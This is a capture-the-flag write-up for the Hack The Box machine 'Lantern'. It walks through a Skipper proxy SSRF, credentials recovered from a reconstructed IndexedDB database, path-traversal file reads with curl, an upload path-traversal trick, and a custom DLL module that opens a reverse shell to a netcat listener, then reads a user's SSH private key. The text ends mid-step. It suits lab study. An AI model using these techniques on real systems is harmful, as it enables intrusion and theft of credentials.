Lantern

INTRODUCTION

Is it Linux? I’m not so sure. Lantern, the third box in HTB’s Season 6 Heist, claims to be a Linux box, but in most respects actually it’s actually running things as one might in Windows. It isn’t until the very end of privesc to root that we find anything Linux-specific. Lantern is about a generic IT services company running a landing page and an admin panel. What made this one a little special is its extensive use of Blazor.

Recon doesn’t need to take very long on this one. Don’t waste too much time enumerating the Blazor service - directory and file enumeration won’t work normally on a websocket-based application. Quickly identify what applications are running (a certain reverse proxy, and Blazor), and start with some vulnerability research.

Foothold is tough on Lantern. It took me the most time. Your research should guide you towards an SSRF vulnerability. You can utilize the SSRF to enumerate the internally-reachable services. Some browser reconfiguration will allow you to comfortably re-use your SSRF technique to access the discovered service. From there, observe how the service works and you’ll find yourself obtaining a database as some loot. Inside the database, there will be details you haven’t seen before - some credentials leading to the admin dashboard.

The admin dashboard provides an unexpectedly large attack surface, but in isolation each of the vulnerabilities are useless. The admin dashboard challenges you to find and exploit three different vulnerabilities and combine them into one attack to gain a foothold. This part takes a little programming to accomplish - be sure to check my Github if you get stuck. Thankfully, foothold leads straight to the user flag.

Privesc to root is much more direct, but also very challenging. Even though you’ll see an obvious path forward, be sure to take the time to follow your usual enumeration process. Without covering the basics, following the “obvious” path will lead to a confusing dead end. Finally, a little SQL prowess will gain you the root password, and the flag that goes with it.

Lantern was medium length, but high complexity. It took a lot of web app pentesting knowledge to gain a foothold, but then root privesc was all about understanding the operating system.

title picture

RECON

nmap scans

Port scan

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_  256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp   open  http    Skipper Proxy
|_http-title: Did not follow redirect to http://lantern.htb/
|_http-server-header: Skipper Proxy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 Not Found
|     Content-Length: 207
|     Content-Type: text/html; charset=utf-8
|     Date: Mon, 19 Aug 2024 03:49:13 GMT
|     Server: Skipper Proxy
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Length: 225
|     Content-Type: text/html; charset=utf-8
|     Date: Mon, 19 Aug 2024 03:49:08 GMT
|     Location: http://lantern.htb/
|     Server: Skipper Proxy
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, HEAD, OPTIONS
|     Content-Length: 0
|     Content-Type: text/html; charset=utf-8
|     Date: Mon, 19 Aug 2024 03:49:08 GMT
|_    Server: Skipper Proxy
3000/tcp open  ppp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 500 Internal Server Error
|     Connection: close
|     Content-Type: text/plain; charset=utf-8
|     Date: Mon, 19 Aug 2024 03:49:12 GMT
|     Server: Kestrel
|     System.UriFormatException: Invalid URI: The hostname could not be parsed.
|     System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
|     System.Uri..ctor(String uriString, UriKind uriKind)
|     Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
|     Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
|     Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
|     Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
|     Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Content-Length: 0
|     Connection: close
|     Date: Mon, 19 Aug 2024 03:49:17 GMT
|     Server: Kestrel
|   Help: 
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Mon, 19 Aug 2024 03:49:12 GMT
|     Server: Kestrel
|   RTSPRequest: 
|     HTTP/1.1 505 HTTP Version Not Supported
|     Content-Length: 0
|     Connection: close
|     Date: Mon, 19 Aug 2024 03:49:18 GMT
|     Server: Kestrel
|   SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Mon, 19 Aug 2024 03:49:33 GMT
|_    Server: Kestrel

OpenSSH running on port 22 is a little bit out-of-date. Port 80 looks typical; there’s a redirect to http://lantern.htb. Port 3000 is a bit of an oddity though - even though this is a Linux target, it’s running Microsoft ASP.NET. My early guess is that it’s some kind of API?

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No additional info

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT      STATE         SERVICE        VERSION
68/udp    open|filtered tcpwrapped
88/udp    open|filtered kerberos-sec
111/udp   open|filtered rpcbind
123/udp   open|filtered ntp
177/udp   open|filtered xdmcp
443/udp   open|filtered https
497/udp   open|filtered tcpwrapped
631/udp   open|filtered tcpwrapped
998/udp   open|filtered tcpwrapped
999/udp   open|filtered tcpwrapped
1434/udp  open|filtered ms-sql-m
1719/udp  open|filtered h323gatestat
1900/udp  open|filtered upnp
2049/udp  open|filtered nfs
4500/udp  open|filtered tcpwrapped
5000/udp  open|filtered tcpwrapped
10000/udp open|filtered ndmp
32771/udp open|filtered sometimes-rpc6
49152/udp open|filtered unknown
49154/udp open|filtered unknown
49186/udp open|filtered unknown
49188/udp open|filtered unknown
49192/udp open|filtered unknown

Note that any open|filtered ports are either open or (much more likely) filtered.

Webserver Strategy (Port 80)

Noting the redirect from the nmap scan, I added lantern.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=lantern.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

whatweb port 80

Next I performed vhost and subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

domain enumeration port 80

Alright, that’s the expected result. Nothing else though. Now I’ll check for subdomains of lantern.htb:

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

No results. I’ll move on to directory enumeration on http://lantern.htb:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 -c -o fuzzing/ffuf-directories-root -of json -e .php,.js,.html,.txt -timeout 4 -v

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o fuzzing/ffuf-directories-root -of json -e .php,.asp,.js,.html,.txt -timeout 4 -v

Directory enumeration against http://[domain].htb/ gave the following:

directory enumeration port 80

Webserver Strategy (Port 3000)

From the nmap scans earlier, we saw what appears to be a webserver (probably running an API?) on port 3000, so let’s check that out.

whatweb --aggression 3 http://$RADDR:3000

whatweb port 3000

Next I performed vhost and subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR:3000/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v -fs 0

No results. Perhaps this port doesn’t have a vhost set up? I’ll move on to directory enumeration on port 3000:

Instead of a 404, this service replies with a HTTP 200: Sorry, there's nothing at this address., so we’ll filter that out.

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://lantern.htb:3000/FUZZ -t 80 -c -o fuzzing/ffuf-directories-3000 -of json -e .php,.asp,.js,.html,.txt -timeout 4 -v -fw 334

Directory enumeration gave the following:

directory enumeration port 3000

Since I suspect this might be an API, I’ll also enumerate HTTP methods (verbs):

WLIST=/usr/share/seclists/Fuzzing/http-request-methods.txt
ffuf -w $WLIST:FUZZ -u http://$RADDR:3000 -X FUZZ -t 80 -c -o fuzzing/ffuf-methods-3000 -of json -timeout 4 -v

At the root directory, the server responds to OPTIONS, HEAD, TRACE, and GET.

Oddly, it seems like the /error directory responds to any HTTP verb:

error port 3000

The only discerible difference is that the Request ID portion is only generated for GET requests.

We can see by checking either http://$RADDR:3000/css/site.css or the page source of any of the “404” pages that port 3000 is using Blazor (like a .NET template engine for web):

port 3000 404 error page

Checking the browser dev tools console, I see a few messages about disconnection from the websocket at ws://10.129.193.133:3000/_blazor?id=m0govWITgcssiMRlB2vCsg. This reminds me that Blazor is websocket-based, so it may be using stateful interactions, unlike a REST API. That makes it a lot harder to test.

Dealing with Blazor is a lot more difficult than a regular HTTP server. Due to the way it loads documents, it seems like we can’t actually do effective directory or file enumeration with it. For example, when I did directory and file enumeration earlier, my wordlist definitely contained the obvious pages like “index”, “admin”, and “login”… But when I did a spot-check on some of these terms just now, I ended up finding a /login page:

login port 3000

😬 This is going to be tricky!

Regardless, now that I’ve found a login form, I’ll be sure to come back and check it later for auth bypass or SQLi 🚩

Exploring the Website

The HTTP server running on port 80 appears to be a landing page for an IT and development services company. Running the site through ZAP Spider shows that we probably got all of the linked content during directory enumeration earlier:

ZAP spider port 80

The index page is seemingly unimportant boilerplate/template content.

index page

The only functional link in the navbar is the Vacancies button, leading to /vacancies. There are three jobs posted. Probably unimportant, but these can be useful OSINT because it might hint at what technologies or versions the company frequently uses:

vacancies 1

vacancies 2

vacancies 3

😿 I’m qualified for all of these (aside from Azure)… ++pain; If anyone is interested in hiring me for remote work. Please get in touch 😅

The most interesting part about this page is at the bottom; there is a section to upload a resume!

resume upload form

Resume uploads are the best! People submit resumes in all kinds of insecure formats. Hopefully, this will lead to a larger-than-necessary attack surface 👍

Taking a quick look at the page source has a couple comments that indicate there may have been some recent changes to how this form submits. Perhaps we should try some parameter fuzzing here? If the button was of type submit, was it an x-www-form-urlencoded form before? 🤔

I’ll definitely come back to this form and try out the following:

  • Parameter fuzzing 🚩
  • File upload vulnerabilities
    • XXE using a PDF 🚩

Vulnerability Research

So far, we’ve gained a bit of information. We know that there is some kind of Blazor-powered site running on port 3000. We also know that port 80 is using Skipper Proxy. We don’t know what version either is using.

A little bit of searching led to two main conclusions:

  • Pentesting Blazor web apps is really difficult, and usually requires some kind of toolkit to interact with it.
  • Skipper proxy has a popular SSRF for me to try. searchsploit skipper will lead you to the same result. See EDB-ID 51111 for more detail.

FOOTHOLD

Vacancies Form

🚫 This didn’t lead anywhere. Feel free to skip this section if you’re short on time.

I’ll try filling out the form normally, and proxy it through ZAP to see how it looks. I’ve attached a .txt format resume:

form submission 1

Submitting the form (POST /submit), we get a response at the bottom of the page…

form submission 3

Can we just change the extension?

mv resume.txt resume.pdf

Submit the form again…

form submission 2

😂 Alright, so it’s only checking the file extension - not MIME type or anything else (at least, as far as we know). In that case, file upload vulnerabilities might be present.

However, since we don’t know where the uploaded file is being saved, any file upload exploit would have to be blind: probably either stored XSS or an XXE. Since it could take quite a while to investigate this (especially as an XXE), I’ll put this aside for now and keep looking.

Skipper SSRF

As mentioned earlier, there is only one entry when you check searchsploit for “skipper”:

searchsploit

When Skipper is being used as a reverse proxy, we can perform an SSRF simply by tacking on an extra header. See the ExploitDB entry for more details.

We aren’t sure this SSRF is valid, because we don’t actually know what version of Skipper is running. To check for the presence of this SSRF vulnerability, it would be best if we can attempt to contact another service that we already know exists… Checking for the Blazor service on port 3000 would be perfect 💡

After a couple attempts to get the formatting right in ZAP, I found something that worked:

SSRF poc

Here, I’ve simply accessed the index page of http://lantern.htb but added on the extra header:

X-Skipper-Proxy: http://127.0.0.1:3000

Upon futher testing, I see that the protocol part is being completely ignored. I can use something like this and get the same result:

X-Skipper-Proxy: nonprotocol://127.0.0.1:3000

(It doesn’t work when no protocol is used, though)

To enumerate the ports that the target can reach, I saved the following request header into a file (ssrf.raw):

GET http://lantern.htb/ HTTP/1.1
host: lantern.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: keep-alive
Referer: http://lantern.htb/
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
X-Skipper-Proxy: http://127.0.0.1:FUZZ
content-length: 0

Next I’ll generate a list of ports into another file (ports.lst):

seq 1 65535 > ports.lst

Now I’ll enumerate using ffuf:

ffuf -w ports.lst:FUZZ -request ssrf.raw -t 10 -c -timeout 4 -mc all -fc 503

SSRF enum

Whoa! That worked perfectly 🎉 We had no idea about port 5000. Let’s send a request to it using cURL to see if it responds to HTTP:

curl http://lantern.htb/ -H 'X-Skipper-Proxy: http://127.0.0.1:5000'

internallantern curl

😁 There’s an internal HTTP server running there - the title is InternalLantern

InternalLantern

I wanted a way to view this website through my browser. But to access this SSRF, I would need to modify my headers on every request. Not knowing any easy way to do that (besides writing my own proxy that does that), I got a browser extension that does the job perfectly - Modify Header Value for Firefox. I configured it to add just the proxy header:

modify header extension

Now we should be able to navigate port 5000 just by going to http://lantern.htb:

internallantern

Below that, we see some data that is probably straight from a database:

internallantern employee info

The page took quite a while to load, so I checked the Network tab of my browser Dev Tools to see what was taking so long. I noticed that one of the files that took so long was dbstorage.js:

export function synchronizeFileWithIndexedDb(filename) {
  return new Promise((res, rej) => {
    const db = window.indexedDB.open('SqliteStorage', 1);
    db.onupgradeneeded = () => {
      db.result.createObjectStore('Files', { keypath: 'id' });
    };

    db.onsuccess = () => {
      const req = db.result.transaction('Files', 'readonly').objectStore('Files').get('file');
      req.onsuccess = () => {
        Module.FS_createDataFile('/', filename, req.result, true, true, true);
        res();
      };
    };

    let lastModifiedTime = new Date();
    setInterval(() => {
      const path = `/${filename}`;
      if (FS.analyzePath(path).exists) {
        const mtime = FS.stat(path).mtime;
        if (mtime.valueOf() !== lastModifiedTime.valueOf()) {
          lastModifiedTime = mtime;
          const data = FS.readFile(path);
          db.result.transaction('Files', 'readwrite').objectStore('Files').put(data, 'file');
        }
      }
    }, 1000);
  });
}

That’s interesting - note how it opens a window.indexedDB. This is a little bit like the browser’s LocalStorage, but with a different data structure. After the page loaded, I noticed that I have an Indexed DB:

sqlite storage default

That means that the synchronizeFileWithIndexedDb() function ran, probably triggered by the page load. I’ll copy the contents of this Indexed DB into a file, and trim off the starting tag, and start/end quotation marks - that way, it is completely parsable as JSON:

sqlite.json sample

I’m not sure if every Indexed DB is like this or not, but it seems that the keys in the object are all indices, and the corresponding values are all positive integers less than 256… They’re byte values! 😮

Indexed DB

I already made sure that the data is in a format that could be read directly as JSON, so it should be pretty easy to work with. Considering the dbstorage.js code (shown in the previous section), theres a very good chance that these byte values will reconstruct whatever file was read / synced by that function.

To see if this hypothesis is true, let’s use some python to reconstruct a file from these bytes. Here’s the script I wrote, reconstruct_file.py:

import json
import sys

if len(sys.argv) < 3:
    print(f'Usage: {sys.argv[0]} <input_file> <output_file>')
    sys.exit(1)
    
input_file = sys.argv[1]
output_file = sys.argv[2]

def write_bytes_from_json(json_file_path, output_file_path):
    try:
        # Read the JSON file and load its content into a dictionary
        with open(json_file_path, 'r') as file:
            byte_dict = json.load(file)
        # Convert the dictionary to a byte array
        max_index = max(int(k) for k in byte_dict.keys())  # Find the maximum index
        byte_array = bytearray(max_index + 1)
        for key, value in byte_dict.items():
            byte_array[int(key)] = value
        # Write the byte array to the output file
        with open(output_file_path, 'wb') as file:
            file.write(byte_array)
        print(f"Bytes successfully written to {output_file_path}")
    except FileNotFoundError:
        print(f"File {json_file_path} not found.")
    except json.JSONDecodeError:
        print(f"Error decoding JSON from {json_file_path}.")
    except Exception as e:
        print(f"An unexpected error occurred: {e}")

write_bytes_from_json(input_file, output_file)

Now I’ll point the script at the data and see what comes out:

python3 reconstruct_file.py loot/indexed-db.json file-contents.bin

reconstruct sqlite

🤑 The Indexed DB contents were reconstructed into an SQLite database - perfect! Let’s take a look inside:

found creds in sqlite

This is definitely the table we were just seeing at via the SSRF, at http://127.0.0.1:5000, except now we can see the extra InternalInfo column. Travis Duarte, a system administrator, had initial credentials admin : AJbFA_Q@925p9ap#22.

Before I go any further, I’ll be sure to check for credential re-use (or in this case, a failure to change initial credentials) 🤞

trying found creds at port 3000

The credentials work for the admin dashboard 👍

admin dashboard

Admin Dashboard

As shown in the sidebar, the admin dashboard has several sections.

  • The Files tool lists out the files within the web app (for the main site running on port 80 / 8000)
  • There’s a Upload Content tool, but I didn’t have any success when trying to send the file upload through ZAP or Burp - it gets transported in this strange Blazor format that I can’t decode.
  • Health Check might be useful, but only as an SSRF. It pretty much just loads other websites in an iframe, and reports whether or not they’re up.
  • The Logs feature is basically an access log for the site. It shows a much of the files that are used by Blazor for, presumably, the app running on port 3000 (the admin dashboard)

Files Section

The Files section is pretty useful, as it allows us to see the source code for the whole web app. Here’s the directory structure:

files list

I’ll “download” the important files by simply copy-pasting their contents into my local filesystem. The result was this directory:

important files

Taking a look through the app.py code, I immediately see what I needed:

from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os

app=Flask("__name__")

@app.route('/')
def index():
    if request.headers['Host'] != "lantern.htb":
        return redirect("http://lantern.htb/", code=302)
    return render_template("index.html")

@app.route('/vacancies')
def vacancies():
    return render_template('vacancies.html')

@app.route('/submit', methods=['POST'])
def save_vacancy():
    name = request.form.get('name')
    email = request.form.get('email')
    vacancy = request.form.get('vacancy', default='Middle Frontend Developer')

    if 'resume' in request.files:
        try:
            file = request.files['resume']
            resume_name = file.filename
            if resume_name.endswith('.pdf') or resume_name == '':
                filename = secure_filename(f"resume-{name}-{vacancy}-latern.pdf")
                upload_folder = os.path.join(os.getcwd(), 'uploads')
                destination = '/'.join([upload_folder, filename])
                file.save(destination)
            else:
                return "Only PDF files allowed!"
        except:
            return "Something went wrong!"
    return "Thank you! We will conact you very soon!"

@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
    lang = request.args.get('lang')
    file_ext = request.args.get('ext')
    try:
            return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}') 
    except: 
            return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8000)

There are route handlers for GET /, GET /vacancies, and for POST /submit, but there’s also a new one that we haven’t seen before: /PrivacyAndPolicy 😎

The /PrivacyAndPolicy endpoint takes two parameters, but neither of them have any sanitization or validation applied. Since these parameters find their way into the send_file() function, that means we have an arbitrary file read available to us!

I’ll finish taking a look around the Admin dashboard, then I’ll see what files I can access using the arbitrary file read 🚩

Upload Content

This section seems to be intended for uploading new customer avatars, into the hardcoded directory /var/www/sites/lantern.htb/static/images. I’ll try it out with a regular image file:

file upload test 1

As expected, our image file is uploaded to the specified directory. We can see if from the Files section:

file upload test 2

This also works perfectly fine with non-image files. Here, I’ve uploaded (and am previewing) resume.pdf:

file upload test 3

Module Selector

There’s a really odd widget that is present on all sections of the Admin dashboard:

choose module widget

It’s built using an <input> connected to a <datalist>:

<datalist id="browsers">
    <option value="FileUpload"></option>
    <option value="FileTree"></option>
    <option value="Logs"></option>
    <option value="HealthCheck"></option>
    <option value="Resumes"></option>
</datalist>

So all it does is select an entry that’s already on the sidebar..? 👀 That seems very out-of-place.

When we empty the <input> and click Search, an error appears:

load modules error

Very interesting. It seems to be attempting to load /opt/components/[filename].dll when we click Search 🤔 Maybe this can be utilized later to achieve RCE?

Arbitrary File Read

System Files

As a proof of concept, let’s try accessing /etc/passwd:

curl 'http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../../etc/passwd'

arbitrary file read PoC

I checked /proc/self/environ and /proc/cpuinfo, but there was no result. Next, I tried checking the file descriptors:

for I in $(seq 1 100 | tr '\n' '  '); do curl "http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../../proc/self/fd/$I"; done

No result from that either. Perhaps www-data can’t access these files? Let’s check /etc next:

👇 Note that I’m filtering out results of size 55220; those are the “negative” results, when the except branch is taken on the /PrivacyAndPolicy route and we are provided /var/www/sites/localisation/default/policy.pdf

WLIST=/usr/share/seclists/Fuzzing/LFI/LFI-etc-files-of-all-linux-packages.txt
ffuf -w $WLIST:FUZZ -u "http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../..FUZZ" -t 10 -c -timeout 4 -v -fs 55220

This worked exactly as I had hoped, but didn’t actually result in any useful files. Here’s a small sample:

enumerating etc

Module DLLs

Now that we have an arbitrary file read, we should be able to read the code for the modules that are selectable by the Choose Module widget. After all, www-data must have read access to all those files, or the web app wouldn’t work.

mkdir -p source/opt/components
for MODULE in FileUpload FileTree Logs HealthCheck Resumes; do
	curl "http://lantern.htb/PrivacyAndPolicy?lang=&ext=./../../../../opt/components/$MODULE.dll" \
	-o "source/opt/components/$MODULE.dll";
done;

The Plan

We’ve discovered some really important things on this admin dashboard:

  1. Using the LFI / path traversal at /PrivacyAndPolicy that we found from the Files section, we have a way to arbitrarily read files
  2. Using the Upload Content section, we have a way to write files to a particular directory
  3. Using the Choose Module widget, we have a way to load and execute .dll files

Taken together, that sounds like a recipe for RCE!

Trying the Upload

The Problem

Let’s try something easy first: download an existing module (I’ll use Logs.dll), upload it, then try to load it from the upload directory.

I already downloaded Logs.dll earlier, so I’ll upload that copy:

uploaded Logs dll to images dir

😱 But now, if I attempt to access that DLL, the app refuses to load it:

choose module widget error 2

🤔 Hmm… That’s a deal-breaker. We need to find a way to write to /opt/components for this whole idea to be feasible.

The Solution

Thankfully, without too much trouble, I found a way to write to that directory 😎

If you analyze the change event of the “Browse…” button on the Upload Content tool, you can see the javascript:

function() {
  t._blazorFilesById = {};
  const n = Array.prototype.map.call(t.files, (function(e) {
    const n = {
      id: ++t._blazorInputFileNextFileId,
      lastModified: new Date(e.lastModified).toISOString(),
      name: e.name,
      size: e.size,
      contentType: e.type,
      readPromise: void 0,
      arrayBuffer: void 0,
      blob: e
    };
    return t._blazorFilesById[n.id] = n, n
  }));
  e.invokeMethodAsync("NotifyChange", n)
}

As it turns out, the filepath derives directly (as a relative path) from the name property that is assigned in the anonymous function call.

The above code is a snippet of blazor.server.js, which controls all interaction between the client and server. But ultimately, this code runs client-side… so why not just swap it out?

Firefox has a way to apply a Script Override. Just open Dev Tools > Debugger, find blazor.server.js under Sources, then right-click the file and choose Add script override:

adding script override

This will prompt you to download a file. Modifications to this file will be reflected in the browser as soon as the page reloads. I’ll exchange out the portion of the code for my desired code (which includes a path traversal on the filename):

modified blazor.server.js file

I’ve saved this modified copy as blazor.server.bak.js. Now, to have the cahnges in the browser, we simply copy the file contents then refresh the page:

 cp blazor.server.bak.js blazor.server.js

After the page is reloaded, the script should have a little purple dot next to its name, indicating the override is currently active:

script override applied

With blazor.server.js overridden, we’ve used a path traversal to effectively change the upload directory to be /opt/components instead of /var/www/sites/lantern.htb/static/images:

script override successful

Note: re-uploading Logs.dll to that same directory will result in an error, but that’s fine - it seems like the Upload Content tool isn’t able to overwrite files.

Success of the file write can be easily verified by using the arbitrary file read from earlier.

😁 Alright - problem solved. We can now write to the directory where the app will load modules from!

Writing the Reverse Shell

For this plan to work, we need to write a DLL file that we can load as a “module” using the Choose Module widget. It sounds easy, but there’s a lot involved in that. There are two main challenges here:

  • Reverse-engineering an existing module, so that we know how to structure our code
  • Coding a module to run a reverse shell in Blazor

While these tasks can both be done on a Linux machine, it’s will eliminate a lot of headache to do it in Windows. Thankfully, I have a Windows host available for this task.

Decompilation

We can take a look at the code inside the existing DLLs (FileUpload.dll, FileTree.dll, Logs.dll, HealthCheck.dll, and Resumes.dll) by using a decompiler.

There are a few to choose from, but a nice reliable one is dotPeek, available from JetBeans. Unfortunately, it’s Windows-only. I’ll use the portable version.

Examining the DLLs, it’s clear there are some commonalities between them. Most notably, all of them declare a Component class (from Microsoft.AspNetCore.Components) that inherits from ComponentBase. They all implement some asynchronous Task runners for their function calls.

I’ve since learned that it’s a bit of a strange way to do things, but these DLLs have all of the frontend code inside the Component class itself, instead of definining a cshtml file to accompany the class.

I’m not sure why they’re structured that way, but since I’m not very knowledgable about Blazor, I’ll follow suit.

Making the Component

Having examined the other “modules” as examples, I’m ready to attempt to write my own. Since it’s all in C#, it would be most convenient to use Visual Studio. I don’t have the money for that, so I’ll just use VSCode 😉

Aside: Setting up VSCode

Setting up a new coding environment can be troublesome, so I’ll do my best to make this clear and brief. First, obtain VSCode. On Windows, it’s easiest to just download their installer.

With VSCode installed, open the Extensions tab and install the following:

vscode extensions

Click the Settings cog of the C# extension and scroll down to the Omnisharp settings. Set the target version as 6.0.x:

c sharp target version

[Image of setting the .NET extension target version]

Now make a new directory for the project, enter the directory, and check that the version was set properly:

dotnet --version

That’s pretty much it! Setting up the coding environment is pretty easy in VSCode, with all this extension stuff.

If you haven’t done so already, make a project directory and enter it. We’ll need to initialize the project, but which template to use?

dotnet new --list

dotnet template selection

Since Blazor uses Razor components, the DLLs we’ve been seeing on the target are actually Razor Class Libraries. Use that as a template:

dotnet new razorclasslib

This makes a bunch of files inside the directory. Find the .cs file and rename it to whatever your “module” should be called. We’ll start by importing some libs, and using an empty class in the style that we inferred by looking at the existing DLLs:

using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;

namespace MyHealthCheck
{
  public class Component : ComponentBase
  {

    // This replaces the need for a cshtml file
    protected override void BuildRenderTree(
    #nullable disable
    RenderTreeBuilder __builder)
    {
      __builder.OpenElement(0, "div");
      //__builder.AddMarkupContent(12, "<label for=\"port\">Port:</label>");
      __builder.CloseElement();
    }

  }
}

I left a commented line in there to show how to add HTML directly ☝️

The “modules” that we’re referencing all have some kind of Task that runs when they load, but we can do this even more simply by just adding an event handler - This ends up acting as HTML + JS. Here’s an example:

protected override void BuildRenderTree(
#nullable disable
RenderTreeBuilder __builder)
{
    // ...
    __builder.OpenElement(19, "button");
    __builder.AddAttribute(20, "onclick", EventCallback.Factory.Create(this, () => HandleClick(arg)));
    __builder.AddContent(21, "CONNECT");
    __builder.CloseElement(); // button
}

private void HandleClick(string arg) {
    // Do stuff
}

And that’s pretty much all you need - write the whole component to pop a reverse shell.

After much trial and error, I ended up finally achieving a reverse shell using a TcpClient C# style reverse shell. You can obtain a template from revshells.com. Add it into an event handler and you’re pretty much done.

Build the code by clicking the Run button in the top-right of the window:

build and run button

VSCode will complain that your project is a library and doesn’t run; don’t worry, your built DLL will be sitting inside the bin/Debug/net6.0 subdirectory. Keep the DLL handy - we’ll need to upload it to the target.

RCE At Last

We finally have all the pieces in place:

  • A way to execute “modules”, as long as they’re in /opt/components
  • A way to upload a “module” into /opt/components
  • A malicious “module” to form a reverse shell

So, without further ado, let’s make it happen!

Reverse shell listener

Open a firewall port and start a listener:

sudo ufw allow from $RADDR to any port 4444 proto tcp
bash  # important if you want to upgrade the shell later
nc -lvnp 4444

Load the module

The browser-level Script override should still be functional, so just upload the module like any other file.

In the Choose Module widget, enter the name of your DLL (without file extension) to load it. Mine was called MyHealthCheck:

reverse shell component loaded

Utilize your component to start the reverse shell. For me, I entered my tun0 IP address and port 4444, then clicked CONNECT:

got reverse shell

I had to make three attempts to form the connection before it worked. Not sure why 🤷‍♂️

🎉 🎉 🎉 That was really difficult! I’m so happy to finally have RCE.

USER FLAG

Get the flag

As a reward for all our hard work, the box has let us off the hook for the Foothold -> User Flag portion - Our connection was formed as tomas, who holds the user flag in their home directory. Just cat it out for those points:

cat /home/tomas/user.txt

Grab SSH key

Noticing that tomas has a .ssh directory, it makes sense to check if there is already a private key sitting there.

While there are more sophisticated ways to do this, if you’re just working from a “dumb” reverse shell with no line wrap, it’s easiest to just copy-paste. Use cat /home/tomas/.ssh/id_rsa and copy the output to the clipboard.

Note: you could also plant your own SSH key, but there are two downsides

  1. If the box resets, your planted key is gone and you’ll have to re-exploit to plant another
  2. It’s less stealthy. Activity on someone’s authorized_keys file should definitely set off some alarms!

Regardless, the first time I entered the box, I didn’t notice the private key so I planted my own. This was the method, in case you are unfamiliar:

